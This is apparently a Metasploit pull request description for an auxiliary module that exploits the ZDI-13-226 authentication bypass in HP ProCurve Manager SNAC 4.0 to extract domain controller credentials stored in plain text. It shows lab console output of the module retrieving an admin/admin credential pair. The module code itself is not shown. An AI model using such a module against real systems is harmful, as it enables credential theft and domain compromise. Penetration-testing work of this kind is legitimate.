Add module for auth bypass on HP Pro Curve Manager SNAC

The same auth bypass used by ZDI-13-226 (#2367), can be used to get domain credentials stored in plain text by HP Pro Curve Manager. Looks like interesting for an aux module, so here is! Tested with HP Pro Curve Manager SNAC 4.0

```
msf auxiliary(hp_snac_domain_creds) > rexploit
[*] Reloading module...

[*] 192.168.172.244:443 - Get Domain Info
[*] 192.168.172.244:443 - Exploiting Authentication Bypass to gather Domain Controller Info...
[*] 192.168.172.244:443 - Parsing data gathered...

Domain Controllers Credentials
==============================

 Domain Controller  Username  Password
 -----------------  --------  --------
 192.168.1.2        admin     admin

[*] Auxiliary module execution completed
msf auxiliary(hp_snac_domain_creds) > hosts 

Hosts
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
192.168.1.2             Unknown                    device         

msf auxiliary(hp_snac_domain_creds) > creds

Credentials
===========

host         port  user   pass   type      active?
----         ----  ----   ----   ----      -------
192.168.1.2  636   admin  admin  password  true

msf auxiliary(hp_snac_domain_creds) > exit -y

```